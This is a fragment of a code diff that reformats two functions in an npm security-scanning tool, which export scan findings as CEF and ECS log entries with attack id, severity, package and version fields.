- `cs4Label=version`,
29
- ].join('|'));
11
+ entries.push(
12
+ [
13
+ 'CEF:0',
14
+ 'npm-scan',
15
+ 'npm-scan',
16
+ process.env.npm_package_version || '0.4.0',
17
+ atkId,
18
+ desc,
19
+ String(sev),
20
+ `suser=${pkgName} ${pkgVer}`,
21
+ `msg=${desc}`,
22
+ `cs1=${atkId}`,
23
+ `cs1Label=atkId`,
24
+ `cs2=${f.severity}`,
25
+ `cs2Label=severity`,
26
+ `cs3=${pkgName}`,
27
+ `cs3Label=package`,
28
+ `cs4=${pkgVer}`,
29
+ `cs4Label=version`,
30
+ ].join('|')
31
+ );
30
32
  }
31
33
  }
32
34
  return entries.join('\n');
33
- }
35
+ }
@@ -1,7 +1,7 @@
1
1
  export function generateECS(scans) {
2
2
  const events = [];
3
3
  for (const s of scans) {
4
- for (const f of (s.findings || [])) {
4
+ for (const f of s.findings || []) {
5
5
  const atkId = f.atk_id || f.id;
6
6
  const sevMap = { critical: 100, high: 80, medium: 50, low: 20 };
7
7
  events.push({
@@ -37,5 +37,5 @@ export function generateECS(scans) {
37
37
  });
38
38
  }
39
39
  }
40
- return events.map(e => JSON.stringify(e)).join('\n');
41
- }
40
+ return events.map((e) => JSON.stringify(e)).join('\n');
41
+ }